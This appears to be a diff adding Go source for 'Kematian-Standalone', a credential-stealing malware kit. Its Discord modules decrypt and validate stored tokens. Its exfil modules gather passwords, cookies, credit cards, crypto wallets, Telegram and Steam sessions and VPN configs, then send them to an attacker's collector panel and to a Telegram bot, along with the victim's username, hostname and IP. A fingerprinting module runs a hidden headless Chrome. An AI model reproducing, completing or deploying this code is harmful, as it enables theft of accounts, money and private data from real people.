+			return pbkdf2.Key([]byte("peanuts"), []byte("saltysalt"), 1, 16, sha1.New)
+		}
+		if runtime.GOOS == "darwin" {
+			return darwinDiscordKey()
+		}
+		return nil
+	}
+	var state map[string]interface{}
+	if err := json.Unmarshal(data, &state); err != nil {
+		return nil
+	}
+	osCrypt, _ := state["os_crypt"].(map[string]interface{})
+	if osCrypt == nil {
+		return nil
+	}
+	encKeyB64, _ := osCrypt["encrypted_key"].(string)
+	_ = encKeyB64
+
+	if runtime.GOOS == "linux" {
+		return pbkdf2.Key([]byte("peanuts"), []byte("saltysalt"), 1, 16, sha1.New)
+	}
+	if runtime.GOOS == "darwin" {
+		return darwinDiscordKey()
+	}
+	return nil
+}
+
+func darwinDiscordKey() []byte {
+	for _, service := range []string{"Chromium Safe Storage", "Chrome Safe Storage"} {
+		out, err := exec.Command("security", "find-generic-password", "-wa", service).Output()
+		if err != nil {
+			continue
+		}
+		password := strings.TrimSpace(string(out))
+		if password != "" {
+			return pbkdf2.Key([]byte(password), []byte("saltysalt"), 1003, 16, sha1.New)
+		}
+	}
+	return nil
+}
+
+var discordApps = []DiscordApp{
+	{"Discord", "discord"},
+	{"Discord PTB", "discordptb"},
+	{"Discord Canary", "discordcanary"},
+	{"Discord Dev", "discorddevelopment"},
+}
+
+func readDiscordFile(path string, pids []uint32) ([]byte, error) {
+	return platform.ReadLockedFile(path, pids)
+}
+
+func ExtractTokens() []TokenResult {
+	configDir := discordConfigDir()
+
+	type candidate struct {
+		token  string
+		source string
+	}
+
+	seen := make(map[string]struct{})
+	var candidates []candidate
+
+	for _, app := range discordApps {
+		appDir := filepath.Join(configDir, app.Dir)
+		leveldb := filepath.Join(appDir, "Local Storage", "leveldb")
+
+		entries, err := os.ReadDir(leveldb)
+		if err != nil {
+			continue
+		}
+
+		pids, _ := platform.FindProcesses(app.Dir)
+
+		for _, e := range entries {
+			if e.IsDir() {
+				continue
+			}
+			ext := strings.ToLower(filepath.Ext(e.Name()))
+			if ext != ".log" && ext != ".ldb" {
+				continue
+			}
+			data, err := readDiscordFile(filepath.Join(leveldb, e.Name()), pids)
+			if err != nil {
+				continue
+			}
+
+			for _, m := range TokenRe.FindAll(data, -1) {
+				tok := string(m)
+				if _, dup := seen[tok]; !dup {
+					seen[tok] = struct{}{}
+					candidates = append(candidates, candidate{tok, app.Name})
+				}
+			}
+
+			for _, m := range EncRe.FindAll(data, -1) {
+				raw := string(m)
+				colonIdx := strings.Index(raw, ":")
+				if colonIdx < 0 {
+					continue
+				}
+				blob, err := base64.StdEncoding.DecodeString(raw[colonIdx+1:])
+				if err != nil {
+					continue
+				}
+				key := discordV10Key(appDir)
+				if key == nil {
+					continue
+				}
+				tok := crypto.DecryptChromiumBlob(blob, key, nil)
+				if tok == "" || !TokenRe.MatchString(tok) {
+					continue
+				}
+				if _, dup := seen[tok]; !dup {
+					seen[tok] = struct{}{}
+					candidates = append(candidates, candidate{tok, app.Name})
+				}
+			}
+		}
+	}
+
+	if len(candidates) == 0 {
+		return nil
+	}
+
+	valid := make([]bool, len(candidates))
+	var wg sync.WaitGroup
+	sem := make(chan struct{}, 6)
+	for i, c := range candidates {
+		wg.Add(1)
+		go func(idx int, tok string) {
+			defer wg.Done()
+			sem <- struct{}{}
+			valid[idx] = CheckToken(tok)
+			<-sem
+		}(i, c.token)
+	}
+	wg.Wait()
+
+	var out []TokenResult
+	for i, c := range candidates {
+		if valid[i] {
+			out = append(out, TokenResult{Token: c.token, Source: c.source})
+		}
+	}
+	return out
+}

Kematian-Standalone/native/recovery/discord/discord_windows.go

@@ -0,0 +1,171 @@
+//go:build windows
+
+package discord
+
+import (
+	"encoding/base64"
+	"encoding/json"
+	"os"
+	"path/filepath"
+	"strings"
+	"sync"
+
+	"recovery/recovery/crypto"
+	"recovery/recovery/platform"
+)
+
+var discordApps = []DiscordApp{
+	{"Discord", "discord"},
+	{"Discord PTB", "discordptb"},
+	{"Discord Canary", "discordcanary"},
+	{"Discord Dev", "discorddevelopment"},
+}
+
+func discordV10Key(appDir string) []byte {
+	data, err := os.ReadFile(filepath.Join(appDir, "Local State"))
+	if err != nil {
+		return nil
+	}
+	var state map[string]interface{}
+	if err := json.Unmarshal(data, &state); err != nil {
+		return nil
+	}
+	osCrypt, _ := state["os_crypt"].(map[string]interface{})
+	if osCrypt == nil {
+		return nil
+	}
+	encKeyB64, _ := osCrypt["encrypted_key"].(string)
+	if encKeyB64 == "" {
+		return nil
+	}
+	encKey, err := base64.StdEncoding.DecodeString(encKeyB64)
+	if err != nil || len(encKey) <= 5 {
+		return nil
+	}
+	key, err := crypto.CryptUnprotectData(encKey[5:])
+	if err != nil {
+		return nil
+	}
+	return key
+}
+
+var discordExeNames = map[string]string{
+	"discord":            "Discord.exe",
+	"discordptb":         "DiscordPTB.exe",
+	"discordcanary":      "DiscordCanary.exe",
+	"discorddevelopment": "DiscordDevelopment.exe",
+}
+
+func readDiscordFile(path string, pids []uint32) ([]byte, error) {
+	return platform.ReadLockedFile(path, pids)
+}
+
+func ExtractTokens() []TokenResult {
+	appdata := os.Getenv("APPDATA")
+	if appdata == "" {
+		return nil
+	}
+
+	type candidate struct {
+		token  string
+		source string
+	}
+
+	seen := make(map[string]struct{})
+	var candidates []candidate
+
+	for _, app := range discordApps {
+		appDir := filepath.Join(appdata, app.Dir)
+		leveldb := filepath.Join(appDir, "Local Storage", "leveldb")
+
+		entries, err := os.ReadDir(leveldb)
+		if err != nil {
+			continue
+		}
+
+		exeName := discordExeNames[app.Dir]
+		pids, _ := platform.FindProcesses(exeName)
+
+		var v10Key []byte
+		keyOnce := sync.Once{}
+		getKey := func() []byte {
+			keyOnce.Do(func() { v10Key = discordV10Key(appDir) })
+			return v10Key
+		}
+
+		for _, e := range entries {
+			if e.IsDir() {
+				continue
+			}
+			ext := strings.ToLower(filepath.Ext(e.Name()))
+			if ext != ".log" && ext != ".ldb" {
+				continue
+			}
+			data, err := readDiscordFile(filepath.Join(leveldb, e.Name()), pids)
+			if err != nil {
+				continue
+			}
+
+			for _, m := range TokenRe.FindAll(data, -1) {
+				tok := string(m)
+				if _, dup := seen[tok]; !dup {
+					seen[tok] = struct{}{}
+					candidates = append(candidates, candidate{tok, app.Name})
+				}
+			}
+
+			for _, m := range EncRe.FindAll(data, -1) {
+				raw := string(m)
+				colonIdx := strings.Index(raw, ":")
+				if colonIdx < 0 {
+					continue
+				}
+				blob, err := base64.StdEncoding.DecodeString(raw[colonIdx+1:])
+				if err != nil {
+					continue
+				}
+				key := getKey()
+				if key == nil {
+					continue
+				}
+				tok := crypto.DecryptChromiumBlob(blob, key, nil)
+				if tok == "" || !TokenRe.MatchString(tok) {
+					continue
+				}
+				if _, dup := seen[tok]; !dup {
+					seen[tok] = struct{}{}
+					candidates = append(candidates, candidate{tok, app.Name})
+				}
+			}
+		}
+	}
+
+	if len(candidates) == 0 {
+		logf("no candidate tokens found")
+		return nil
+	}
+	logf("found %d candidate tokens", len(candidates))
+
+	valid := make([]bool, len(candidates))
+	var wg sync.WaitGroup
+	sem := make(chan struct{}, 6)
+	for i, c := range candidates {
+		wg.Add(1)
+		go func(idx int, tok string) {
+			defer wg.Done()
+			sem <- struct{}{}
+			valid[idx] = CheckToken(tok)
+			<-sem
+		}(i, c.token)
+	}
+	wg.Wait()
+
+	var out []TokenResult
+	for i, c := range candidates {
+		if valid[i] {
+			out = append(out, TokenResult{Token: c.token, Source: c.source})
+		}
+	}
+	logf("%d/%d tokens validated", len(out), len(candidates))
+	return out
+}

Kematian-Standalone/native/recovery/discord/log.go

@@ -0,0 +1,7 @@
+package discord
+
+import "log"
+
+func logf(format string, args ...interface{}) {
+	log.Printf("[discord] "+format, args...)
+}

Kematian-Standalone/native/recovery/exfil/panel.go

@@ -0,0 +1,248 @@
+package exfil
+
+import (
+	"bytes"
+	"crypto/ecdh"
+	"crypto/rand"
+	"crypto/sha256"
+	"encoding/base64"
+	"encoding/hex"
+	"context"
+	"encoding/json"
+	"fmt"
+	"io"
+	"net/http"
+	"os"
+	"runtime"
+	"strings"
+	"time"
+
+	"golang.org/x/crypto/chacha20poly1305"
+	"golang.org/x/crypto/hkdf"
+
+	"recovery/recovery/types"
+)
+
+// PANEL_ENDPOINT is where the collector panel lives. URL + key are baked at
+// build time (see build_final.bat or set here).
+// PANEL_PUBKEY is the panel's E2EE public key (hex). Get it from /e2ee/pub on
+// the panel. Only this public key is needed to post; decryption needs the
+// private key that only the panel holds.
+var (
+	PanelEndpoint = "http://127.0.0.1:5000/api/ingest"
+	PanelPubKey   = ""
+	// Ingest key must match PANEL_INGEST_KEY on the panel.
+	PanelAuth = "CHANGE-ME"
+)
+
+const (
+	e2eeSalt = "kematian-e2ee-salt"
+	e2eeInfo = "kematian-e2ee-v1"
+)
+
+// e2eeSeal encrypts plaintext toward the panel's public key.
+// Wire format: base64( ephemeral_pub(32) || nonce(12) || ciphertext )
+func e2eeSeal(plaintext []byte) (string, error) {
+	pkBytes, err := hex.DecodeString(PanelPubKey)
+	if err != nil || len(pkBytes) != 32 {
+		return "", fmt.Errorf("invalid panel public key: %v", err)
+	}
+	curve := ecdh.X25519()
+	panelPub, err := curve.NewPublicKey(pkBytes)
+	if err != nil {
+		return "", err
+	}
+	ephPriv, err := curve.GenerateKey(rand.Reader)
+	if err != nil {
+		return "", err
+	}
+	shared, err := ephPriv.ECDH(panelPub)
+	if err != nil {
+		return "", err
+	}
+
+	// HKDF-SHA256(shared, salt, info) -> 32-byte key
+	r := hkdf.New(sha256.New, shared, []byte(e2eeSalt), []byte(e2eeInfo))
+	key := make([]byte, chacha20poly1305.KeySize)
+	if _, err := io.ReadFull(r, key); err != nil {
+		return "", err
+	}
+
+	aead, err := chacha20poly1305.New(key)
+	if err != nil {
+		return "", err
+	}
+	nonce := make([]byte, aead.NonceSize())
+	if _, err := rand.Read(nonce); err != nil {
+		return "", err
+	}
+	ct := aead.Seal(nil, nonce, plaintext, nil)
+
+	wire := append(ephPriv.PublicKey().Bytes(), nonce...)
+	wire = append(wire, ct...)
+	return base64.StdEncoding.EncodeToString(wire), nil
+}
+
+// ensurePubKey fetches the panel's E2EE public key at runtime if it isn't
+// already embedded. This removes the need to paste the key at build time: only
+// the endpoint + auth key are baked in, the agent asks the panel for its key.
+func ensurePubKey() error {
+	if PanelPubKey != "" {
+		return nil
+	}
+	req, err := http.NewRequestWithContext(context.Background(), "GET", buildBaseURL()+"/e2ee/pub", nil)
+	if err != nil {
+		return err
+	}
+	req.Header.Set("Authorization", "Bearer "+PanelAuth)
+	resp, err := http.DefaultClient.Do(req)
+	if err != nil {
+		return fmt.Errorf("fetching pubkey: %w", err)
+	}
+	defer resp.Body.Close()
+	if resp.StatusCode != http.StatusOK {
+		return fmt.Errorf("pubkey endpoint returned %s", resp.Status)
+	}
+	body, _ := io.ReadAll(resp.Body)
+	var out struct {
+		PublicKey string `json:"publicKey"`
+	}
+	if err := json.Unmarshal(body, &out); err != nil {
+		return fmt.Errorf("parsing pubkey: %w", err)
+	}
+	if len(out.PublicKey) != 64 {
+		return fmt.Errorf("unexpected pubkey length %d", len(out.PublicKey))
+	}
+	PanelPubKey = out.PublicKey
+	return nil
+}
+
+func buildBaseURL() string {
+	return strings.TrimSuffix(PanelEndpoint, "/api/ingest")
+}
+
+// SendToPanel posts the encrypted CollectionResult (+ optional binary payloads)
+// to the collector panel over E2EE.
+func SendToPanel(result *types.CollectionResult, clientID string, payloads ...types.Payload) error {
+	if PanelEndpoint == "" {
+		return fmt.Errorf("panel endpoint not configured")
+	}
+	if err := ensurePubKey(); err != nil {
+		return err
+	}
+	if PanelPubKey == "" {
+		return fmt.Errorf("no pubkey available")
+	}
+
+	payload := buildPanelPayload(result, clientID)
+	if len(payloads) > 0 {
+		payload["payloads"] = payloads
+	}
+
+	plainJSON, err := json.Marshal(payload)
+	if err != nil {
+		return err
+	}
+	enc, err := e2eeSeal(plainJSON)
+	if err != nil {
+		return err
+	}
+	body, _ := json.Marshal(map[string]string{"enc": enc})
+
+	req, err := http.NewRequestWithContext(context.Background(), "POST", PanelEndpoint, bytes.NewReader(body))
+	if err != nil {
+		return err
+	}
+	req.Header.Set("Content-Type", "application/json")
+	req.Header.Set("Authorization", "Bearer "+PanelAuth)
+
+	client := &http.Client{Timeout: 60 * time.Second}
+	resp, err := client.Do(req)
+	if err != nil {
+		return err
+	}
+	defer resp.Body.Close()
+	respBody, _ := io.ReadAll(resp.Body)
+	if resp.StatusCode != http.StatusOK {
+		return fmt.Errorf("panel rejected: %s - %s", resp.Status, strings.TrimSpace(string(respBody)))
+	}
+	return nil
+}
+
+func guessOS() string {
+	if runtime.GOOS == "windows" {
+		return os.Getenv("OS")
+	}
+	return runtime.GOOS
+}
+
+func guessArch() string {
+	return runtime.GOARCH
+}
+
+func GenerateClientID() string {
+	b := make([]byte, 12)
+	_, _ = rand.Read(b)
+	return base64.RawURLEncoding.EncodeToString(b)
+}
+
+// buildPanelPayload maps a CollectionResult to the flat structure the panel
+// ingest stores into its per-category tables. clientID groups everything.
+func buildPanelPayload(r *types.CollectionResult, clientID string) map[string]interface{} {
+	p := map[string]interface{}{
+		"clientId": clientID,
+		"host": map[string]interface{}{
+			"os":   guessOS(),
+			"arch": guessArch(),
+		},
+	}
+	if l := len(r.Passwords); l > 0 {
+		p["passwords"] = r.Passwords
+	}
+	if l := len(r.Cookies); l > 0 {
+		p["cookies"] = r.Cookies
+	}
+	if l := len(r.Autofill); l > 0 {
+		p["autofill"] = r.Autofill
+	}
+	if l := len(r.History); l > 0 {
+		p["history"] = r.History
+	}
+	if l := len(r.Bookmarks); l > 0 {
+		p["bookmarks"] = r.Bookmarks
+	}
+	if l := len(r.CreditCards); l > 0 {
+		p["creditCards"] = r.CreditCards
+	}
+	if l := len(r.DiscordTokens); l > 0 {
+		p["discordTokens"] = r.DiscordTokens
+	}
+	if l := len(r.Files); l > 0 {
+		p["files"] = r.Files
+	}
+	if l := len(r.Extensions); l > 0 {
+		p["extensions"] = r.Extensions
+	}
+	if l := len(r.Wallets); l > 0 {
+		p["wallets"] = r.Wallets
+	}
+	if l := len(r.Telegram); l > 0 {
+		p["telegram"] = r.Telegram
+	}
+	if l := len(r.Keys); l > 0 {
+		p["keys"] = r.Keys
+	}
+	if l := len(r.AppCredentials); l > 0 {
+		p["appCredentials"] = r.AppCredentials
+	}
+	if r.Gaming != nil {
+		p["gaming"] = r.Gaming
+		if r.Gaming.Steam != nil && len(r.Gaming.Steam.SteamTokens) > 0 {
+			p["steamTokens"] = r.Gaming.Steam.SteamTokens
+		}
+	}
+	if r.VPNs != nil {
+		p["vpns"] = r.VPNs
+	}
+	return p
+}

Kematian-Standalone/native/recovery/exfil/telegram.go

@@ -0,0 +1,264 @@
+package exfil
+
+import (
+	"bytes"
+	"context"
+	"encoding/json"
+	"fmt"
+	"io"
+	"mime/multipart"
+	"net/http"
+	"os"
+	"path/filepath"
+	"strings"
+	"time"
+
+	"recovery/recovery"
+	"recovery/recovery/types"
+	"recovery/recovery/ziputil"
+)
+
+type TelegramConfig struct {
+	BotToken string
+	ChatID   string
+}
+
+func SendToTelegram(cfg TelegramConfig, zipData []byte, filename string, counts map[string]int) error {
+	url := fmt.Sprintf("https://api.telegram.org/bot%s/sendDocument", cfg.BotToken)
+
+	hostname, _ := os.Hostname()
+	username := os.Getenv("USERNAME")
+	if username == "" {
+		username = os.Getenv("USER")
+	}
+
+	ip := getExternalIP()
+
+	caption := fmt.Sprintf(`✨ New Log Received ✨
+
+💻 User: %s@%s
+🌍 IP: %s
+
+📊 Main Loot:
+🔑 Passwords: %d
+🍪 Cookies: %d
+💰 Wallets: %d
+
+📦 Additional Data:
+💬 Messengers: %d
+🔐 Extensions: %d
+🔑 Keys: %d
+🎮 Gaming: %d
+🌐 VPNs: %d
+📁 Files: %d`,
+		username, hostname, ip,
+		counts["passwords"], counts["cookies"], counts["wallets"],
+		counts["telegram"], counts["extensions"], counts["keys"],
+		counts["gaming"], counts["vpns"], counts["files"])
+
+	var buf bytes.Buffer
+	writer := multipart.NewWriter(&buf)
+
+	_ = writer.WriteField("chat_id", cfg.ChatID)
+	_ = writer.WriteField("caption", caption)
+	_ = writer.WriteField("parse_mode", "HTML")
+
+	part, err := writer.CreateFormFile("document", filename)
+	if err != nil {
+		return err
+	}
+	_, _ = part.Write(zipData)
+	writer.Close()
+
+	req, err := http.NewRequestWithContext(context.Background(), "POST", url, &buf)
+	if err != nil {
+		return err
+	}
+	req.Header.Set("Content-Type", writer.FormDataContentType())
+
+	client := &http.Client{Timeout: 120 * time.Second}
+	resp, err := client.Do(req)
+	if err != nil {
+		return err
+	}
+	defer resp.Body.Close()
+
+	if resp.StatusCode != http.StatusOK {
+		body, _ := io.ReadAll(resp.Body)
+		return fmt.Errorf("telegram API error: %s - %s", resp.Status, string(body))
+	}
+	return nil
+}
+
+func getExternalIP() string {
+	client := &http.Client{Timeout: 5 * time.Second}
+	resp, err := client.Get("https://api.ipify.org")
+	if err != nil {
+		return "unknown"
+	}
+	defer resp.Body.Close()
+	body, _ := io.ReadAll(resp.Body)
+	return strings.TrimSpace(string(body))
+}
+
+func CollectAndZipAll(ctx context.Context) ([]byte, map[string]int, error) {
+	result, zipData, counts, _, err := CollectResultAndZip(ctx)
+	if err != nil {
+		return nil, nil, err
+	}
+	_ = result
+	return zipData, counts, nil
+}
+
+// CollectResultAndZip collects a full snapshot and returns:
+//   - the typed result (for the panel)
+//   - a single zip of every json+dump for Telegram
+//   - per-category counts
+//   - individual binary payloads (wallet/telegram/steam zips) for the panel
+func CollectResultAndZip(ctx context.Context) (*types.CollectionResult, []byte, map[string]int, []types.Payload, error) {
+	opts := types.CollectOptions{
+		Browsers:    true,
+		Passwords:   true,
+		Cookies:     true,
+		Autofill:    true,
+		History:     true,
+		Bookmarks:   true,
+		CreditCards: true,
+		Discord:     true,
+		Files:       true,
+		Wallets:     true,
+		Telegram:    true,
+		Keys:        true,
+		Apps:        true,
+		Gaming:      true,
+		VPNs:        true,
+	}
+
+	tmpDir, err := os.MkdirTemp("", "kematian-*")
+	if err != nil {
+		return nil, nil, nil, nil, err
+	}
+	defer os.RemoveAll(tmpDir)
+
+	result, err := recovery.Collect(ctx, opts, nil)
+	if err != nil {
+		return nil, nil, nil, nil, fmt.Errorf("collection failed: %w", err)
+	}
+
+	extensions := recovery.ScanExtensions()
+	result.Extensions = extensions
+
+	counts := map[string]int{
+		"passwords":      len(result.Passwords),
+		"cookies":        len(result.Cookies),
+		"wallets":        len(result.Wallets),
+		"telegram":       len(result.Telegram),
+		"extensions":     len(result.Extensions),
+		"keys":           len(result.Keys),
+		"gaming":         0,
+		"vpns":           0,
+		"files":          len(result.Files),
+	}
+
+	if result.Gaming != nil {
+		if result.Gaming.Steam != nil {
+			counts["gaming"]++
+		}
+		counts["gaming"] += len(result.Gaming.BattleNet) + len(result.Gaming.Epic) + len(result.Gaming.Riot) + len(result.Gaming.Uplay)
+	}
+	if result.VPNs != nil {
+		counts["vpns"] = len(result.VPNs.NordVPN) + len(result.VPNs.WireGuard) + len(result.VPNs.OpenVPN) + len(result.VPNs.Mullvad)
+	}
+
+	writeJSON := func(name string, data interface{}) error {
+		jsonData, err := json.MarshalIndent(data, "", "  ")
+		if err != nil {
+			return err
+		}
+		return os.WriteFile(filepath.Join(tmpDir, name+".json"), jsonData, 0644)
+	}
+
+	_ = writeJSON("passwords", result.Passwords)
+	_ = writeJSON("cookies", result.Cookies)
+	_ = writeJSON("autofill", result.Autofill)
+	_ = writeJSON("history", result.History)
+	_ = writeJSON("bookmarks", result.Bookmarks)
+	_ = writeJSON("credit_cards", result.CreditCards)
+	_ = writeJSON("discord_tokens", result.DiscordTokens)
+	_ = writeJSON("extensions", result.Extensions)
+	_ = writeJSON("wallets", result.Wallets)
+	_ = writeJSON("telegram", result.Telegram)
+	_ = writeJSON("keys", result.Keys)
+	_ = writeJSON("app_credentials", result.AppCredentials)
+	_ = writeJSON("gaming", result.Gaming)
+	_ = writeJSON("vpns", result.VPNs)
+	var steamTokens []types.SteamTokenResult
+	if result.Gaming != nil && result.Gaming.Steam != nil {
+		steamTokens = result.Gaming.Steam.SteamTokens
+	}
+	_ = writeJSON("steam_tokens", steamTokens)
+	_ = writeJSON("fingerprint", recovery.CollectFingerprint())
+	_ = writeJSON("js_fingerprint", recovery.CollectJSFingerprint())
+	_ = writeJSON("meta", map[string]string{"collected_at": time.Now().Format(time.RFC3339)})
+
+	// Individual payloads are shipped to the panel directly so it can host the
+	// actual login files (wallet dirs, telegram sessions, steam session).
+	var payloads []types.Payload
+
+	for _, wallet := range result.Wallets {
+		if wallet.Path != "" {
+			zipData, err := recovery.ZipDirectory(wallet.Path)
+			if err == nil && len(zipData) > 0 {
+				fname := fmt.Sprintf("wallet_%s.zip", sanitizeFilename(wallet.Name))
+				os.WriteFile(filepath.Join(tmpDir, fname), zipData, 0644)
+				payloads = append(payloads, types.Payload{
+					Category: "wallet", Name: wallet.Name, Filename: fname,
+					Size: len(zipData), Data: zipData,
+				})
+			}
+		}
+	}
+
+	for _, tg := range result.Telegram {
+		if tg.Path != "" {
+			zipData, err := recovery.ZipTelegram(tg.Path)
+			if err == nil && len(zipData) > 0 {
+				fname := fmt.Sprintf("telegram_%s.zip", sanitizeFilename(tg.Account))
+				os.WriteFile(filepath.Join(tmpDir, fname), zipData, 0644)
+				payloads = append(payloads, types.Payload{
+					Category: "telegram", Name: tg.Account, Filename: fname,
+					Size: len(zipData), Data: zipData,
+				})
+			}
+		}
+	}
+
+	if result.Gaming != nil {
+		if result.Gaming.Steam != nil && result.Gaming.Steam.SteamPath != "" {
+			zipData, err := recovery.ZipSteamSession(result.Gaming.Steam.SteamPath)
+			if err == nil && len(zipData) > 0 {
+				fname := "steam_session.zip"
+				os.WriteFile(filepath.Join(tmpDir, fname), zipData, 0644)
+				payloads = append(payloads, types.Payload{
+					Category: "steam", Name: "steam", Filename: fname,
+					Size: len(zipData), Data: zipData,
+				})
+			}
+		}
+	}
+
+	zipData, err := ziputil.ZipDirectory(tmpDir)
+	if err != nil {
+		return nil, nil, nil, nil, err
+	}
+
+	return result, zipData, counts, payloads, nil
+}
+
+func sanitizeFilename(name string) string {
+	replacer := strings.NewReplacer(
+		"/", "_", "\\", "_", ":", "_", "*", "_", "?", "_",
+		"\"", "_", "<", "_", ">", "_", "|", "_", " ", "_",
+	)
+	return replacer.Replace(name)
+}

Kematian-Standalone/native/recovery/fingerprint/fingerprint_browser.go

@@ -0,0 +1,264 @@
+//go:build windows
+
+package fingerprint
+
+import (
+	"context"
+	"encoding/json"
+	"fmt"
+	"io"
+	"net/http"
+	"os"
+	"os/exec"
+	"path/filepath"
+	"strings"
+	"time"
+
+	"github.com/chromedp/cdproto/runtime"
+	"github.com/chromedp/chromedp"
+)
+
+func evalAwaitPromise(p *runtime.EvaluateParams) *runtime.EvaluateParams {
+	return p.WithAwaitPromise(true)
+}
+
+const fingerprintJS = `(async () => {
+  const out = {};
+  try {
+    const c = document.createElement("canvas");
+    c.width = 220; c.height = 60;
+    const x = c.getContext("2d");
+    x.textBaseline = "top";
+    x.font = "14px 'Arial'";
+    x.fillStyle = "#f60";
+    x.fillRect(0, 0, 220, 60);
+    x.fillStyle = "#069";
+    x.fillText("Cwm fjordbank glyphs vext quiz \uD83D\uDE03", 2, 2);
+    x.fillStyle = "rgba(102, 204, 0, 0.7)";
+    x.fillText("Cwm fjordbank glyphs vext quiz \uD83D\uDE03", 4, 17);
+    x.fillStyle = "#f60";
+    x.beginPath(); x.arc(100, 40, 20, 0, Math.PI * 2, true); x.fill();
+    out.canvas = c.toDataURL();
+  } catch (e) {}
+  try {
+    const gl = document.createElement("canvas").getContext("webgl");
+    if (gl) {
+      const ext = gl.getExtension("WEBGL_debug_renderer_info");
+      out.webglRenderer = ext ? String(gl.getParameter(ext.UNMASKED_RENDERER_WEBGL)) : String(gl.getParameter(gl.RENDERER));
+      out.webglVendor = ext ? String(gl.getParameter(ext.UNMASKED_VENDOR_WEBGL)) : String(gl.getParameter(gl.VENDOR));
+      out.webglVersion = String(gl.getParameter(gl.VERSION));
+      const keys = ["MAX_TEXTURE_SIZE","MAX_VIEWPORT_DIMS","MAX_RENDERBUFFER_SIZE","MAX_VERTEX_ATTRIBS","MAX_VERTEX_UNIFORM_VECTORS","MAX_VARYING_VECTORS","MAX_FRAGMENT_UNIFORM_VECTORS","MAX_TEXTURE_IMAGE_UNITS","MAX_COMBINED_TEXTURE_IMAGE_UNITS","ALIASED_LINE_WIDTH_RANGE","ALIASED_POINT_SIZE_RANGE"];
+      const params = {};
+      for (const k of keys) {
+        try {
+          let v = gl.getParameter(gl[k]);
+          if (v && v.length !== undefined && typeof v !== "string") v = Array.from(v);
+          params[k] = v;
+        } catch (e) {}
+      }
+      out.webglParams = params;
+      const exts = gl.getSupportedExtensions();
+      out.webglExtensions = exts ? exts.slice().sort() : [];
+    }
+  } catch (e) {}
+  try {
+    const ac = new OfflineAudioContext(1, 44100, 44100);
+    const osc = ac.createOscillator();
+    osc.type = "triangle";
+    osc.frequency.value = 10000;
+    const comp = ac.createDynamicsCompressor();
+    comp.threshold.value = -50;
+    comp.knee.value = 40;
+    comp.ratio.value = 12;
+    comp.attack.value = 0;
+    comp.release.value = 0.25;
+    osc.connect(comp);
+    comp.connect(ac.destination);
+    osc.start(0);
+    const buf = await ac.startRendering();
+    const data = buf.getChannelData(0);
+    let sum = 0;
+    for (let i = 0; i < data.length; i++) sum += Math.abs(data[i]);
+    out.audio = sum;
+  } catch (e) {}
+  return out;
+})()`
+
+func CollectJS() *JSResult {
+	res, err := collectJS()
+	if err != nil {
+		return nil
+	}
+	return res
+}
+
+func collectJS() (*JSResult, error) {
+	ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second)
+	defer cancel()
+
+	if wsURL := findExistingDebugURL(); wsURL != "" {
+		logf("found existing debug endpoint")
+		if res, err := runRemote(ctx, wsURL); err == nil {
+			return res, nil
+		} else {
+			logf("existing debug endpoint failed: %v", err)
+		}
+	}
+
+	chrome := browserExePath("Chrome")
+	if chrome == "" {
+		chrome = browserExePath("Edge")
+	}
+	if chrome == "" {
+		return nil, fmt.Errorf("no Chromium browser found")
+	}
+	logf("spawning hidden Chromium: %s", chrome)
+	res, err := runHidden(ctx, chrome)
+	if err != nil {
+		logf("hidden Chromium failed: %v", err)
+	}
+	return res, err
+}
+
+func runRemote(ctx context.Context, wsURL string) (*JSResult, error) {
+	allocCtx, cancel := chromedp.NewRemoteAllocator(ctx, wsURL)
+	defer cancel()
+	return evalJS(allocCtx)
+}
+
+func runHidden(ctx context.Context, chromePath string) (*JSResult, error) {
+	dataDir, err := os.MkdirTemp("", "kematian_fp_*")
+	if err != nil {
+		return nil, fmt.Errorf("temp profile dir: %w", err)
+	}
+	defer os.RemoveAll(dataDir)
+
+	if res, err := runHiddenWith(ctx, chromePath, dataDir, true); err == nil {
+		return res, nil
+	} else {
+		logf("GPU launch failed: %v; retrying with software rendering", err)
+	}
+	return runHiddenWith(ctx, chromePath, dataDir, false)
+}
+
+func runHiddenWith(ctx context.Context, chromePath, dataDir string, gpu bool) (*JSResult, error) {
+	args := []string{
+		"--headless",
+		"--no-sandbox",
+		"--disable-dev-shm-usage",
+		"--no-first-run",
+		"--no-default-browser-check",
+		"--disable-extensions",
+		"--user-data-dir=" + dataDir,
+		"--remote-debugging-port=0",
+		"about:blank",
+	}
+	if gpu {
+		args = append(args, "--use-gl=angle", "--use-angle=d3d11", "--disable-gpu-sandbox")
+	} else {
+		args = append(args, "--disable-gpu")
+	}
+
+	cmd := exec.Command(chromePath, args...)
+	cmd.Stdout = io.Discard
+	cmd.Stderr = chromeLogWriter{}
+	if err := cmd.Start(); err != nil {
+		return nil, fmt.Errorf("start chrome: %w", err)
+	}
+	defer func() { _ = cmd.Process.Kill() }()
+
+	wsURL, err := waitForDevTools(dataDir, 10*time.Second)
+	if err != nil {
+		return nil, err
+	}
+
+	allocCtx, cancel := chromedp.NewRemoteAllocator(ctx, wsURL)
+	defer cancel()
+	return evalJS(allocCtx)
+}
+
+func waitForDevTools(dataDir string, timeout time.Duration) (string, error) {
+	portFile := filepath.Join(dataDir, "DevToolsActivePort")
+	deadline := time.Now().Add(timeout)
+	for time.Now().Before(deadline) {
+		data, err := os.ReadFile(portFile)
+		if err == nil {
+			lines := strings.Split(strings.TrimSpace(string(data)), "\n")
+			if len(lines) >= 2 {
+				port := strings.TrimSpace(lines[0])
+				path := strings.TrimSpace(lines[1])
+				if port != "" && path != "" {
+					return "ws://127.0.0.1:" + port + path, nil
+				}
+			}
+		}
+		time.Sleep(100 * time.Millisecond)
+	}
+	return "", fmt.Errorf("chrome did not expose a DevTools port")
+}
+
+type chromeLogWriter struct{}
+
+func (chromeLogWriter) Write(p []byte) (int, error) {
+	for _, line := range strings.Split(strings.TrimSpace(string(p)), "\n") {
+		if line != "" {
+			logf("chrome: %s", line)
+		}
+	}
+	return len(p), nil
+}
+
+func evalJS(allocCtx context.Context) (*JSResult, error) {
+	cctx, cancel := chromedp.NewContext(allocCtx)
+	defer cancel()
+
+	var out JSResult
+	if err := chromedp.Run(cctx,
+		chromedp.Navigate("about:blank"),
+		chromedp.Evaluate(fingerprintJS, &out, evalAwaitPromise),
+	); err != nil {
+		return nil, err
+	}
+	return &out, nil
+}
+
+func findExistingDebugURL() string {
+	local := os.Getenv("LOCALAPPDATA")
+	if local == "" {
+		return ""
+	}
+	for _, dir := range []string{`Google\Chrome\User Data`, `Microsoft\Edge\User Data`, `BraveSoftware\Brave-Browser\User Data`} {
+		data, err := os.ReadFile(filepath.Join(local, dir, "DevToolsActivePort"))
+		if err != nil {
+			continue
+		}
